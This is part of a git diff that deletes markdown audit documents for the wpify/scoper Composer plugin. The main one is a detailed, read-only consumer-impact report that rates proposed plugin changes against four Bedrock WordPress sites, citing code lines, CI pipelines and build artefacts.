below) - upgrading.md ← per-major migration notes -CHANGELOG.md ← Keep a Changelog -CONTRIBUTING.md ← regenerating symbols, what sources/ is, running tests -``` - -`docs/troubleshooting.md` should be symptom-first, because that is how users arrive: - -| Symptom | Cause | Fix | -|---|---|---| -| `composer install` succeeds but no `deps/` folder | `extra.wpify-scoper.prefix` missing or misspelled | §3.1 — after the fix this becomes a loud error instead | -| `Class "…\WP_Query" not found` at runtime | `globals` does not include `wordpress`, or the symbol list predates your WP version | add to `globals`; update `wpify/scoper` | -| `scoper.custom.php` seems to be ignored | non-standard `vendor-dir`, or path-repository install | §8.2 | -| `tmp-XXXXXXXXXX/` left in the project root | scoping aborted before `postinstall.php` ran | safe to delete; add `tmp-*` to `.gitignore` | -| Plugin never runs at all | `allow-plugins.wpify/scoper` not set | `composer config allow-plugins.wpify/scoper true` | -| A vendored library breaks after scoping | it uses dynamic class names / string-based FQCNs | write a patcher — link to `docs/customization.md` | - -Also add `tmp-*` and (optionally) `deps/` to a documented `.gitignore` snippet in the README — currently a user's first `composer install` can litter their repo root with an untracked `tmp-*` directory if anything fails. - -* **Severity: medium. Effort: M** (1 day for the full set; S for troubleshooting alone, which is the highest-value single page). - ---- - -## 9. Recommended sequencing - -**Ship this week (all S, all independently valuable):** - -1. `composer.json:31` → `"php": "^8.2"` — **critical**, one character. -2. Fail-fast on missing/invalid `prefix` (§3.1, §3.6) — **critical**, ~40 lines for the minimal version. -3. `exit;` → `throw` at `Plugin.php:215`; `require_once` → `require` at `:212` (§3.4). -4. Seed `exclude-classes`/`exclude-namespaces` to `[]` (§3.5). -5. Delete or wire up `getCapabilities()` (§0/#5) and the `NO_DEV` constants (§3.3). -6. `.editorconfig` + `.gitattributes` (§5.2, §7.1). -7. Use the captured-but-unused `$this->io` to report what the plugin is doing (§8.2). - -**Next (M):** - -8. `docs/troubleshooting.md` + fix `scoper.custom.php` discovery (§8.2) + README requirements/platform contradiction (§6.4). -9. PHPStan level 5 and fix the ~25 findings — six of which are real bugs (§5.1). -10. CI: validate + PHPStan + smoke job (§6.2); scheduled symbol refresh with the count-drop guard (§6.3). - -**Then (L):** - -11. Characterisation integration test → refactor per §2.1 → full unit suite (§4.5). -12. PSR-12 migration as one blame-ignored commit bundled with `@PHP82Migration` (§5.2). -13. CHANGELOG + Conventional Commits + release automation (§6.4). - -**Note on verification:** PHPStan findings in §5.1 are predicted from reading the code, not from an actual run — installing an analyser would have required editing `composer.json`, which is outside this audit's write scope. Confirm with a real run before treating the list as exhaustive. diff --git a/docs/improvements/consumers/A-bedrock-alfamarka-group.md b/docs/improvements/consumers/A-bedrock-alfamarka-group.md deleted file mode 100644 index 92646ac..0000000 --- a/docs/improvements/consumers/A-bedrock-alfamarka-group.md +++ /dev/null @@ -1,528 +0,0 @@ -# Consumer impact — Group A: Bedrock sites (alfamarka, marieolivie, dluhopisy, teatechnik) - -Verification of the proposed `wpify/scoper` changes against four real Bedrock-style WordPress -projects. **All inspection was read-only.** No file in any of the four projects was created, -modified or deleted; no `composer install/update` was run. Scratch artefacts live in -`/private/tmp/claude-503/-Users-wpify-projects-scoper/a8a9361a-6f4f-45a7-9ff3-d48b90efa403/scratchpad/`. - ---- - -## 0. Baseline facts established first - -These govern every verdict below, so they are stated up front with evidence. - -### 0.1 The plugin is installed **globally and unpinned**, not per project - -`wpify/scoper` is in **no** project's `vendor/`. It is installed at -`/Users/wpify/.composer/vendor/wpify/scoper` from `/Users/wpify/.composer/composer.json`: - -```json -{ "require": { "wpify/scoper": "^3.2" }, "config": { "allow-plugins": { "wpify/scoper": true } } } -``` - -Installed version **3.2.21** (`~/.composer/composer.lock`), alongside `wpify/php-scoper` 0.18.18 -(which itself declares `"php": "^8.2"` — direct confirmation of C4's unsatisfiability claim). - -The CI of three of the four projects re-resolves it on **every pipeline, with no constraint**: - -- `alfamarka/.gitlab-ci.yml:43` — `composer global require wpify/scoper` -- `marieolivie/.gitlab-ci.yml:41` — same -- `dluhopisy/.gitlab-ci.yml:44` — same - -There is no lock file, no version pin and no staging gate between a Packagist release and these -production pipelines. **Every change discussed below reaches these three sites on their next -pipeline run.** This is the largest consumer-side risk multiplier in this report and it is -independent of the merits of any individual change. - -I verified that the installed 3.2.21 is **byte-identical** to repo HEAD for `src/Plugin.php`, -`scripts/postinstall.php` and `config/scoper.inc.php` (`diff` returned no output for all three). -Only `symbols/*.php` differ. So all source-level reasoning below applies directly to the code that -actually built these projects' `deps/`. - -### 0.2 `deps/` is a hard bootstrap dependency of every request - -Every one of the four requires the scoped autoloader from `wp-config.php`, before anything else: - -| Project | Line | -|---|---| -| alfamarka | `web/wp-config.php:12` — `require_once dirname(__DIR__) . '/web/app/deps/scoper-autoload.php';` | -| marieolivie | `web/wp-config.php:12` — same | -| dluhopisy | `web/wp-config.php:8` — same | -| teatechnik | `web/wp-config.php:17` — same | - -`alfamarka/bootstrap.php:4-5` then does `use AlfamarkaDeps\DI\Container;`. Prefix usage is -widespread in project code: 29 files (alfamarka), 15 (marieolivie), 61 (dluhopisy), 42 (teatechnik) -under `src/` + `web/app/mu-plugins/`. - -**Consequence:** a missing, half-written or symbol-corrupted `deps/` is not a degraded feature, it -is a whole-site HTTP 500. This raises the value of C3 and the cost of any H1 regression. - -### 0.3 Configuration is identical across all four - -`extra.wpify-scoper` contains exactly two keys everywhere — `prefix` and `folder` — with -`folder: "web/app/deps"` in all four. No `globals`, no `autorun`, no `temp`, no `composerjson`. - -| Project | prefix | composer.json:line | -|---|---|---| -| alfamarka | `AlfamarkaDeps` | `composer.json:117-120` | -| marieolivie | `AlfamarkaDeps` | `composer.json:97-100` | -| dluhopisy | `DluhopisyDeps` | `composer.json:91-94` | -| teatechnik | `TeatechnikDeps` | `composer.json:77-80` | - -All four `composer-deps.json` files are **byte-identical** (612 bytes): 8 requires + `ext-json`, -`config.platform.php: "8.3"`, and an `allow-plugins` block. No `require-dev`, no `scripts`, no -`repositories`, no `extra`. - -`composer-deps.lock`: 14 packages, **0 dev packages, 0 packages of type `composer-plugin`** in all -four. Packages scoped: `laravel/serializable-closure`, `php-di/invoker`, `php-di/php-di`, -`psr/container`, `symfony/deprecation-contracts`, `symfony/polyfill-ctype`, -`symfony/polyfill-mbstring`, `twig/twig`, `wpify/{asset,custom-fields,model,plugin-utils,snippets,templates}`. - -The `allow-plugins` block in `composer-deps.json` (`composer/installers`, -`dealerdirect/phpcodesniffer-composer-installer`, `roots/wordpress-core-installer`, -`mnsami/composer-custom-directory-installer`) is **vestigial copy-paste from the outer -`composer.json`** — none of those packages exists in the scoped tree. - -### 0.4 Deployment - -| Project | CI | deps reaches production via | -|---|---|---| -| alfamarka | `.gitlab-ci.yml` active | `composer` job artifact `$CI_PROJECT_DIR/web/app/deps` (`:34`) → `server_deploy … web/app/deps/ …` (`:82`) | -| marieolivie | active | artifact `:32` → `server_deploy … web/app/deps/ …` (`:77`) | -| dluhopisy | active | artifact `:35` → `server_deploy … web/app/deps/ …` (`:72`) | -| teatechnik | **none** (`.gitlab-ci.example.yml` only) | **UNKNOWN** — see §4.6 | - -`deps/` is **not committed** anywhere: `.gitignore` has `web/app/deps/*` in all four -(alfamarka `:20`, marieolivie `:20`, dluhopisy `:14`, teatechnik `:9`), and `git ls-files -web/app/deps` returns 0 files in all four. It is a pure build artefact. - -The final rsync is **additive** — `alfamarka/.gitlab-ci/scripts/server-deploy:9`: - -```bash -rsync -av --exclude=".gitlab-ci" "$FILES_PATH/" "$PROJECT_PATH/" -``` - -no `--delete`, reinforced by `RSYNC_NO_DELETE: true` in each `.gitlab-ci.yml`. **Files that -disappear from a build are never removed from the server.** - -CI runner image is `composer:2.8.2` (all three). I resolved its PHP version from the upstream -build definition rather than guessing: `composer/docker` commit `327b1e81` ("release 2.8.2", -2024-10-30) has `latest/Dockerfile:1` = `FROM php:8-alpine`, which at that build date resolved to -**PHP 8.3.x**. DDEV `php_version`: 8.3 (alfamarka, marieolivie, dluhopisy), 8.4 (teatechnik). -Host CLI: PHP 8.4.20. - ---- - -## 1. Live-corruption evidence mined from the built `deps/` - -All four have a built `deps/` on disk (alfamarka Jul 6, marieolivie Jul 6, dluhopisy Jul 13, -teatechnik May 1). I mined all four for the H1 and H2 bugs. - -### H2 — `autoload_static.php` classmap corruption: **not present** - -The postinstall regex (`scripts/postinstall.php:40-44`) matches `'([[:alnum:]]+)' => …` and -prefixes the key with the lowercased prefix. Grepping each generated -`deps/composer/autoload_static.php` for keys with no backslash: - -| Project | unqualified keys found | what they are | -|---|---|---| -| alfamarka | 9 (lines 10-18) | exactly the `$files` md5 keys — `alfamarkadeps6e3fae29…` etc. | -| marieolivie | 9 (lines 10-18) | same, `alfamarkadeps…` | -| dluhopisy | 9 (lines 10-18) | `dluhopisydeps…` | -| teatechnik | 9 (lines 10-18) | `teatechnikdeps…` | - -Every `$classMap` key is namespaced (`'AlfamarkaDeps\\DI\\Container' => …`) and therefore contains -a backslash, which the `[[:alnum:]]+` character class cannot match. **The over-broad regex has -never fired on a classmap key in any of these four projects.** Narrowing it to the `$files` block -produces byte-identical output here. - -### H1 — prefix-stripping with no right-hand boundary: **no live corruption** - -Two independent probes (`scratchpad/h1-probe.php`, `scratchpad/h1-content-scan.php`): - -1. **Symbol-set probe.** Loaded the 1,147 excluded classes + 464 excluded namespaces, extracted - every scoped symbol from each `autoload_static.php` (480 / 480 / 480 / 475), and tested whether - any excluded symbol is a *proper* prefix of any scoped symbol. **0 collisions in all four.** - None of the seven scoped root namespaces (`DI`, `Invoker`, `Laravel`, `Psr`, `Symfony`, `Twig`, - `Wpify`) is itself an excluded symbol. -2. **Content grep.** `grep -rE "^\s*use\s+\\\\?(DI|Invoker|Twig|Psr|Laravel|Symfony|Wpify)\\\\"` - across each `deps/` tree: **0 files** in all four. No scoped root namespace has been de-prefixed. - -The one case where the de-prefixing has demonstrably run is **namespace exclusions, and there it is -doing the right thing**: - -- `deps/wpify/snippets/src/CustomSMTP.php:5` — `use PHPMailer\PHPMailer\PHPMailer;` - (excluded namespace `PHPMailer\PHPMailer` is a strict prefix of the referenced FQN) -- `deps/wpify/custom-fields/src/Integrations/OrderMetabox.php:10` and - `.../SubscriptionMetabox.php:10` — `Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController` - (excluded namespace `Automattic\WooCommerce\Internal\DataStores\Orders`) - -**This is the constraint that makes H1 dangerous.** See §2, H1. - -Also observed and *not* corruption: `\WP_CONTENT_DIR` in `deps/wpify/asset/src/AssetFactory.php:26`, -`deps/wpify/custom-fields/src/{CustomFields.php:268,337, Api.php:177, Helpers.php:243-244}`. -`WP_CONTENT_DIR` is present in `exclude-constants` (540 entries in the installed list), so -php-scoper leaves it global natively; the class symbol `WP` being a textual prefix of it is -coincidental and the patcher needle never matches, because php-scoper never prefixed it. - ---- - -## 2. Checklist, item by item - -### C4 — bump `require.php` from `^8.1` to `^8.2` → **SAFE ×4** - -What I actually checked, per project: `.ddev/config.yaml` `php_version`, `.gitlab-ci.yml` runner -image, host `php -v`. No `Dockerfile`, `.tool-versions` or `.php-version` exists in any of the four. - -| Project | dev (DDEV) | CI runs the tool on | verdict | -|---|---|---|---| -| alfamarka | `.ddev/config.yaml:3` → 8.3 | `composer:2.8.2` = PHP 8.3.x (`.gitlab-ci.yml:30`) | SAFE | -| marieolivie | `.ddev/config.yaml:3` → 8.3 | `composer:2.8.2` (`.gitlab-ci.yml:28`) | SAFE | -| dluhopisy | `.ddev/config.yaml:4` → 8.3 | `composer:2.8.2` (`.gitlab-ci.yml:31`) | SAFE | -| teatechnik | `.ddev/config.yaml:4` → 8.4 | no CI | SAFE | - -Not conflated: `composer-deps.json` `config.platform.php: "8.3"` and `require.php: "^8.3"` -constrain the **scoped dependency resolution** only, and are untouched by C4. - -Because CI does `composer global require wpify/scoper` **unconstrained**, a `^8.2` release lands -immediately. That is fine at PHP 8.3, but note it means C4 is *self-enforcing on the next pipeline* -with no opportunity to test — if any of these images were ever pinned back to a PHP-8.1 composer -image the pipeline would fail at the `global require` step, not at install time. - -### C5 — fail fast on missing/invalid `prefix` → **SAFE ×4** - -All four prefixes are present, non-empty, and match `^[A-Za-z_\x80-\xff][A-Za-z0-9_\x80-\xff]*$`. -Nothing relies on the silent no-op: no project has `autorun`, and all four have a populated -`deps/` proving the path is exercised. There is no sub-package or nested `composer.json` in these -repos carrying an `extra.wpify-scoper` block without a prefix. - -### C3 — atomic swap via a `.bak` sibling → **SAFE ×4** (with one advisory) - -- `folder` is `web/app/deps` in all four — **not** inside `vendor/`. A `.bak` sibling lands at - `web/app/deps.bak`, inside the WordPress content directory, not inside `vendor/`. -- **Same filesystem:** `stat -f %d` returns device `16777231` for project root, `web`, `web/app` - and `web/app/deps` in all four. `tmp-XXXX` is created at `getcwd()` (`Plugin.php:58`), i.e. the - project root — same device. No cross-device rename risk locally. In DDEV and in CI the whole tree - is one bind mount / one workspace, so this holds there too. -- **Value is high here**, not marginal: because `deps/scoper-autoload.php` is required from - `wp-config.php`, today's `remove($deps); rename(...)` (`scripts/postinstall.php:62-63`) is a - window in which the site has no dependencies at all, and a failed `rename()` leaves it that way - while still exiting 0. -- **Advisory (not a blocker):** `.gitignore` ignores `web/app/deps/*` (the *contents*), which does - **not** match a `web/app/deps.bak` sibling. A backup left behind after a failure would show up as - untracked in `git status` and would sit under the web content dir. It would not be deployed — - the deploy lists `web/app/deps/` explicitly — and it would not be archived as a CI artifact, - which names `$CI_PROJECT_DIR/web/app/deps`. Cheapest mitigations, in order of preference: - put the backup inside the existing `tmp-*` directory rather than beside `deps/`, or ship a - documented `.gitignore` line. This applies equally to `alfamarka/.worktrees/product-details`. - -### C2 — `remove()` gains an `is_link()` guard → **SAFE ×4** - -Purely additive hardening; nothing in these projects can currently trigger the bug, and nothing -depends on the symlink-following behaviour. - -- `web/app/deps` is a real directory in all four (`ls -ld`, no `l` bit). -- `find -type l` → **0 symlinks** in all four trees (511 / 511 / 511 / 505 PHP files scanned). -- `find web/app -maxdepth 2 -type l` → 0. -- **No `path` repositories anywhere.** `composer-deps.json` has no `repositories` key at all, so - the nested install resolves from Packagist only. The outer `composer.json` repositories are all - `type: composer` (wpackagist, satispress, and for dluhopisy `repo.wp-packages.org`). -- DDEV uses bind mounts, not symlinks, for the project root. - -### C1 + M4 — subprocess, exit-code propagation, re-entrancy guard, `--no-plugins` - -**`--no-plugins` on the nested install: SAFE ×4.** `composer-deps.lock` contains zero packages of -type `composer-plugin` and zero dev packages in all four (verified by decoding each lock). No -`*-installer`, no `cweagans/composer-patches`, no `dealerdirect/phpcodesniffer`. The `allow-plugins` -block inside `composer-deps.json` names four plugins that are **not in the dependency tree** — it is -copy-paste from the outer manifest and can be ignored. - -**Re-entrancy guard: SAFE ×4.** No `composer-deps.json` contains an `extra` key, so the recursion -scenario the guard defends against cannot arise here. - -**Exit-code propagation: behaviour change, all four.** Today a scoping failure still exits 0 (M6), -so the CI `composer` job goes green with a broken or stale `deps/`, and — because the rsync has no -`--delete` — the previous `deps/` survives on the server, masking it. After the fix the job goes -red and blocks `deploy` (`needs: [assets, composer]`). This is the desired outcome; flagging it -because latent failures may surface as new CI reds on the first pipeline after the change. - -**alfamarka: NEEDS-MIGRATION.** This project has a real `post-install-cmd` -(`composer.json:135-137` → `@apply-woocommerce-cart-skeleton-patch`), and it is **not running -today**. Composer's `EventDispatcher::getListeners()` merges plugin subscriber listeners *before* -root-package script listeners at the same priority: - -`~/.composer/vendor/composer/composer/src/Composer/EventDispatcher/EventDispatcher.php:593` -```php -$listeners[$event->getName()][0] = array_merge($listeners[$event->getName()][0], $scriptListeners); -``` - -`Plugin::getSubscribedEvents()` registers `POST_INSTALL_CMD => 'execute'` at default priority 0 -(`src/Plugin.php:44-49`), so `execute()` runs first and `runInstall()`'s `Application::run()` exits -the process before the root script is reached. `Composer\Console\Application` never calls -`setAutoExit(false)` (grep returns nothing), so Symfony's default `autoExit = true` applies. - -The workaround is visible in the pipeline — `alfamarka/.gitlab-ci.yml:45` runs -`php scripts/apply-woocommerce-cart-skeleton-patch.php` manually, immediately after -`composer install`. **This is direct field evidence of C1's impact.** After the fix the script -starts running from `post-install-cmd` and will therefore run **twice** in CI. I verified this is -harmless: `scripts/apply-woocommerce-cart-skeleton-patch.php:11-20` treats `already-patched` as a -valid result and exits 0. Migration = delete the now-redundant `.gitlab-ci.yml:45`. Note the local -dev path is currently *worse* than CI: on a developer machine the patch never runs at all. - -**marieolivie / dluhopisy / teatechnik: SAFE.** marieolivie declares `"post-install-cmd": []` and -`"post-update-cmd": []` (`composer.json:112-113`); dluhopisy and teatechnik declare no -install/update scripts at all. Nothing depends on `composer install` exiting 0 while scoping fails. - -### H1 — anchored prefix-stripping → **BREAKING as literally specified ×4** - -No live corruption exists (§1), so there is nothing to gain here for these four projects — only -something to lose. The checklist describes the change as *"only exact symbol matches get -de-prefixed"*. Implemented literally, that removes the segment-boundary behaviour that -`exclude-namespaces` depends on, and these projects' `deps/` demonstrably contains references that -need it: - -| Reference | File:line (present in all four) | Excluded entry that must still match | -|---|---|---| -| `use PHPMailer\PHPMailer\PHPMailer;` | `deps/wpify/snippets/src/CustomSMTP.php:5` | namespace `PHPMailer\PHPMailer` | -| `Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController` | `deps/wpify/custom-fields/src/Integrations/OrderMetabox.php:10`, `SubscriptionMetabox.php:10` | namespace `Automattic\WooCommerce\Internal\DataStores\Orders` | - -Both namespaces are still present in the regenerated lists (verified old→new: both `YES`→`YES`). -If those FQNs come back prefixed, the failure modes are a fatal on every SMTP send -(`phpmailer_init`) and a fatal on HPOS order/subscription metabox registration — on **all four -sites**, at `wp-config.php` bootstrap depth. - -**The condition that makes this SAFE:** anchor the *right-hand* side at a namespace-separator or -end-of-symbol boundary (`(?=$|\\|\W)`), keeping `exclude-namespaces` as a segment-wise prefix match -and `exclude-classes` as an exact match. That is what the audit's own suggested regex -`(?:use\s+|\\)?{$prefix}\\([A-Za-z_][\w\\]*)` + hash-set lookup would do **only if** the lookup -walks the captured symbol's namespace segments, not just tests the whole string. - -**Honest limit of this finding:** php-scoper 0.18 handles `exclude-namespaces` natively at the AST -level, so those two FQNs were most likely already correct before the patcher ever ran, and the -patcher is a no-op. I cannot prove which of the two produced them without re-running a build, which -would violate the read-only constraint. That is exactly why this is the audit's own phase-2 gate -("establish why the block exists at all") and why I am reporting the naive variant as BREAKING -rather than assuming it is safe. - -### H2 — narrow the `autoload_static.php` rewrite to `$files` → **SAFE ×4** - -See §1. Byte-identical output for all four. Recommend the golden-file test use one of these real -`deps/composer/autoload_static.php` files as the fixture — they exercise the `$files`, -`$prefixLengthsPsr4`, `$prefixDirsPsr4` and `$classMap` sections together. - -### H7 — make `--no-dev` reachable → **SAFE ×4** - -`composer-deps.json` has **no `require-dev`** in any of the four, and every `composer-deps.lock` -reports `packages-dev: 0`. Nothing would disappear from `deps/`. No project code references a -scoped dev dependency (there are none to reference). - -Worth recording for other consumer groups: were dev packages ever dropped here, the additive rsync -(§0.4) would leave the stale files on the server indefinitely. - -### H14 / H15 — `plugin-update-checker` → **SAFE ×4 (not applicable)** - -- `globals` is unset in all four, so the defaults apply (`Plugin.php:60`: - `wordpress`, `woocommerce`, `action-scheduler`, `wp-cli`). `plugin-update-checker` is **not** - among them, so `symbols/plugin-update-checker.php` is never loaded and the two PUC patchers in - `config/scoper.inc.php:48,75` never match a file path. -- `yahnis-elsts/plugin-update-checker` is **not** in any `composer-deps.lock`. -- `grep -rln "Puc_v4\|Puc_v5\|YahnisElsts\|plugin-update-checker"` across `src/`, - `web/app/mu-plugins/`, `composer.json` and `composer-deps.json`: **0 hits in all four.** - -The highest-risk item in the checklist has **zero exposure** in this group. Either resolution — -regenerate for v5 or drop the built-in list — is invisible to these four. - -### H16 — full-AST symbol extraction, regenerated lists → **SAFE ×4** - -This is the change with the widest blast radius, so I measured the actual delta these projects -would experience rather than the delta between two repo commits. Comparing the symbol lists in the -**installed 3.2.21** (which produced their current `deps/`) against repo HEAD, merged over the four -default globals (`scratchpad/h16-delta.php`): - -| List | old | new | added | removed | -|---|---|---|---|---| -| `exclude-functions` | 4,995 | 5,213 | 230 | 12 | -| `exclude-constants` | 450 | 551 | 102 | 1 | -| `exclude-classes` | 1,092 | 1,147 | 59 | 4 | -| `exclude-namespaces` | 212 | 464 | 278 | 26 | - -**Additions — 0 collisions in all four.** I extracted every function, class/interface/trait/enum, -`define()` and top-level `const` *defined* inside each project's `deps/` tree and tested it against -the newly-added symbols. Zero hits. No scoped package defines a symbol that newly becomes excluded. - -**Removals — 2 references, both benign.** The only references any project makes to a removed -exclusion are PHP built-ins: - -- `is_countable` — `deps/twig/twig/src/Extension/CoreExtension.php:330` (all four) -- `array_key_last` — `deps/twig/twig/src/NodeVisitor/CorrectnessNodeVisitor.php:164` - (alfamarka, marieolivie, dluhopisy; teatechnik's older Twig 3.24 does not use it) - -Both are emitted **unqualified** in the current output (`if (!is_countable($values))`), i.e. -php-scoper's own internal-symbol registry already keeps them global independently of the exclusion -lists. Removing them from `exclude-functions` changes nothing. The other removals -(`MailPoet\EmailEditor\*`, `Automattic\WooCommerce\Vendor\League\Container`, -`WC_Interactivity_Initial_State`, …) are not referenced anywhere in these `deps/` trees. - -**Pre-existing, not introduced by H16:** `symfony/polyfill-mbstring` defines `mb_strlen` and -`mb_substr` (`bootstrap72.php`, `bootstrap80.php`; teatechnik: `bootstrap.php`), and both names are -in the WordPress exclusion list. That is correct — a polyfill *must* define the global function — -and it is unchanged by this work. - -### H18 — fix `scoper.custom.php` discovery → **SAFE ×4** - -`createPath()` (`src/Plugin.php:268-276`) tests `strpos(dirname(__DIR__), 'vendor/wpify/scoper')`. -For the global install `dirname(__DIR__)` is `/Users/wpify/.composer/vendor/wpify/scoper`, which -**does** contain the literal substring, so the check passes and `$in_root` resolution to `getcwd()` -works today. The custom-config path is *not* silently ignored in this topology. - -Moot in practice: `find -maxdepth 3 -name scoper.custom.php` returns nothing in any of the four -projects (nor in the worktree). There is no customisation to start or stop applying, so the fix is -a behaviour change for nobody here. - -### M3 — stop writing generated `scripts` into the user's `composer-deps.json` → **SAFE ×4** - -**Correction to the audit's premise.** The shipped code does **not** write to the user's -`composer-deps.json`. `src/Plugin.php:131` sets `$composerJsonPath = $this->path($source, -'composer.json')` — inside the temp directory — and `:175` writes there. The user's path is written -at `:141` only in the branch where the file **does not exist**, to seed a stub. All four projects -have the file, so that branch is never taken. - -Empirically confirmed: all four `composer-deps.json` are tracked, contain **no `scripts` key**, no -absolute paths and no `tmp-` strings, and `git status --porcelain composer-deps.json -composer-deps.lock` is **clean** in all four. Zero churn. - -`composer-deps.lock` *is* written back (`scripts/postinstall.php:57-58`, copying the nested -`composer.lock` over it) and is tracked in all four — that is the intended behaviour for a lock -file, not clobbering. No hand-written script would be lost by this change in this group. - -### M15 — validate `globals` against available symbol files → **SAFE ×4** - -`globals` is not set in any of the four; the hardcoded defaults at `src/Plugin.php:60` are used, and -all four names map to real files (`symbols/{wordpress,woocommerce,action-scheduler,wp-cli}.php`). -Validation would pass silently. - ---- - -## 3. `.worktrees/` (alfamarka) - -`git worktree list` in alfamarka: - -``` -/Users/wpify/projects/alfamarka bd40641 [master] -/Users/wpify/projects/alfamarka/.worktrees/product-details b1611e3 [test] -``` - -The worktree is a **full independent working copy**: its own `vendor/`, its own -`web/app/deps/` (built Jun 4, same 11 entries), its own `composer-deps.lock`, its own -`node_modules/`, and its own `.ddev/`. Its `extra.wpify-scoper` is identical to the main tree — -same `AlfamarkaDeps` prefix, same `web/app/deps` folder (`composer.json:146-149`). - -Interaction with the temp-dir findings (M8): - -- The temp directory is `getcwd() . '/tmp-' . …` (`Plugin.php:58`), and `folder` is resolved - relative to `getcwd()` too (`:66`). Since each worktree has its own cwd, **main and worktree - builds cannot collide** — each gets its own `tmp-*` and writes its own `web/app/deps`. The weak - `str_shuffle(md5(microtime()))` randomness is not a cross-worktree hazard. -- **No `tmp-*` leftovers** exist in any of the four projects or in the worktree — the happy-path - cleanup works. -- `tmp-*` is **not** in any project's `.gitignore`. A temp dir left behind by a failure (M8) would - show as untracked. `.worktrees/` itself *is* ignored (`alfamarka/.gitignore:51`), so leftovers - inside the worktree are invisible to `git status` — which cuts both ways. -- Same prefix in both trees is harmless: they are separate directories loaded by separate PHP - processes. - -The C3 `.bak` advisory applies per worktree: `web/app/deps.bak` would appear in each and is not -covered by `web/app/deps/*`. - ---- - -## 4. Additional findings outside the checklist - -**4.1 — marieolivie is an unrenamed fork of alfamarka.** The shared `AlfamarkaDeps` prefix is not -an isolated typo in `extra.wpify-scoper`; the whole project was copied and never renamed: - -- `composer.json:2` — `"name": "wpify/alfamarka"`; `:5` — `"description": "Alfamarka"` -- `composer.json:117` — `"autoload": {"psr-4": {"Alfamarka\\": "src/"}}` -- `src/Plugin.php:3` — `namespace Alfamarka;` -- `web/app/mu-plugins/alfamarka/` is the mu-plugin directory -- `.gitlab-ci.yml:20` artifacts `web/app/themes/alfamarka/build`; `:68` patches - `web/app/mu-plugins/alfamarka/alfamarka.php`; `:2` `SERVER_ADDR: alfamarka.infra.church` -- `git log`: `0f0c67c Initial MarieOlivie import` - -`diff -rq` of the two `deps/` trees differs only in `composer/installed.php` (install paths). This -is **not a scoper misconfiguration and has no functional consequence** — the prefix is per-process -and the two sites never share one. It is a naming-hygiene issue for the project team, and it means -any future "rename the project properly" task must change the prefix, which forces a full -`deps/` rebuild and a coordinated deploy. Flagging it, not blocking on it. - -**4.2 — the global unpinned install is the dominant risk.** Repeating §0.1 because it changes how -any rollout should be staged: three of four pipelines run `composer global require wpify/scoper` -with no constraint and no lock. There is no mechanism today by which a bad release is caught before -it builds a production `deps/`. Recommend pinning to `wpify/scoper:^3.2.21` (or a tag) in these -pipelines *before* landing phase 2 or 3. - -**4.3 — failures are currently double-masked.** Scoping failure exits 0 (M6) **and** the deploy -rsync has no `--delete`, so the previous `deps/` remains on the server. A silently broken build is -therefore invisible from both the pipeline and the site. Fixing exit-code propagation (C1) removes -the first mask; the second is a project-side choice. - -**4.4 — `deps/` under the docroot.** `web/app/deps/` sits inside the web root. Not introduced by -any proposed change, but it means a stray `web/app/deps.bak` would also be under the docroot. -Reinforces the recommendation in C3 to keep the backup in the temp directory. - -**4.5 — teatechnik's `deps/` is 3 months stale** (built May 1; Twig 3.24 and -`wpify/custom-fields` 4.7.0 vs 3.28/4.9.3 elsewhere). Its `composer-deps.lock` matches, so the -build is self-consistent; it simply has not been rebuilt. It will pick up all of the above at once -on its next `composer install`. - -**4.6 — teatechnik has no active CI, and its template would ship a broken site.** Only -`.gitlab-ci.example.yml` exists. The referenced `.gitlab-ci/pipeline/deploy.yml` archives -`$CI_PROJECT_DIR/deps` (`:25`) — the plugin's **default** folder, not the configured -`web/app/deps` — and its `server_deploy` list (`:48-62`) contains **no deps path at all**. -Enabling that template as-is would deploy a site that fatals at `web/wp-config.php:17`. This is a -project-side bug, not a scoper bug, but it is worth telling the team. Deployment for teatechnik is -otherwise **UNKNOWN**: to resolve it I would need the GitLab project's CI settings or the server's -current layout, neither of which is inspectable from this checkout. - ---- - -## 5. Verdict matrix - -| Checklist item | alfamarka | marieolivie | dluhopisy | teatechnik | -|---|---|---|---|---| -| **C4** php `^8.1`→`^8.2` | SAFE | SAFE | SAFE | SAFE | -| **C5** fail fast on missing/invalid prefix | SAFE | SAFE | SAFE | SAFE | -| **C3** atomic swap via `.bak` sibling | SAFE¹ | SAFE¹ | SAFE¹ | SAFE¹ | -| **C2** `is_link()` guard in `remove()` | SAFE | SAFE | SAFE | SAFE | -| **C1+M4** subprocess / exit code / re-entrancy / `--no-plugins` | **NEEDS-MIGRATION**² | SAFE | SAFE | SAFE | -| **H1** anchored prefix-stripping | **BREAKING**³ | **BREAKING**³ | **BREAKING**³ | **BREAKING**³ | -| **H2** narrow `autoload_static.php` rewrite | SAFE | SAFE | SAFE | SAFE | -| **H7** make `--no-dev` reachable | SAFE | SAFE | SAFE | SAFE | -| **H14/H15** plugin-update-checker | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | -| **H16** full-AST extraction + regenerated symbols | SAFE | SAFE | SAFE | SAFE | -| **H18** `scoper.custom.php` discovery | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | SAFE (n/a) | -| **M3** stop writing `scripts` into `composer-deps.json` | SAFE⁴ | SAFE⁴ | SAFE⁴ | SAFE⁴ | -| **M15** validate `globals` | SAFE | SAFE | SAFE | SAFE | -| *(context)* deployment path for `deps/` | verified | verified | verified | **UNKNOWN**⁵ | - -¹ A leftover `web/app/deps.bak` is not matched by the `web/app/deps/*` gitignore rule. Prefer -placing the backup inside the existing `tmp-*` directory; otherwise ship a `.gitignore` line. -Applies per worktree in alfamarka. - -² `composer.json:135-137` declares `post-install-cmd → @apply-woocommerce-cart-skeleton-patch`, -which the C1 `exit()` prevents from running today; `.gitlab-ci.yml:45` runs it manually as a -workaround. After the fix it runs from both places (verified idempotent). Migration: delete -`.gitlab-ci.yml:45`. - -³ Only if "anchored" is implemented as *exact symbol match*. All four `deps/` trees contain -namespace references that require segment-boundary prefix matching against `exclude-namespaces` -(`use PHPMailer\PHPMailer\PHPMailer;`, -`Automattic\WooCommerce\Internal\DataStores\Orders\CustomOrdersTableController`). Preserving -segment-wise matching for namespaces makes this **SAFE ×4** — there is no live H1 corruption to fix -in this group (0 collisions across 480/480/480/475 scoped symbols). - -⁴ The audit's premise does not match the shipped code: generated scripts go to the temp manifest -(`Plugin.php:131`, `:175`), never to the user's file. All four `composer-deps.json` are git-clean -with no `scripts` key. - -⁵ No `.gitlab-ci.yml`; the example template would not deploy `deps/` at all. See §4.6. diff --git 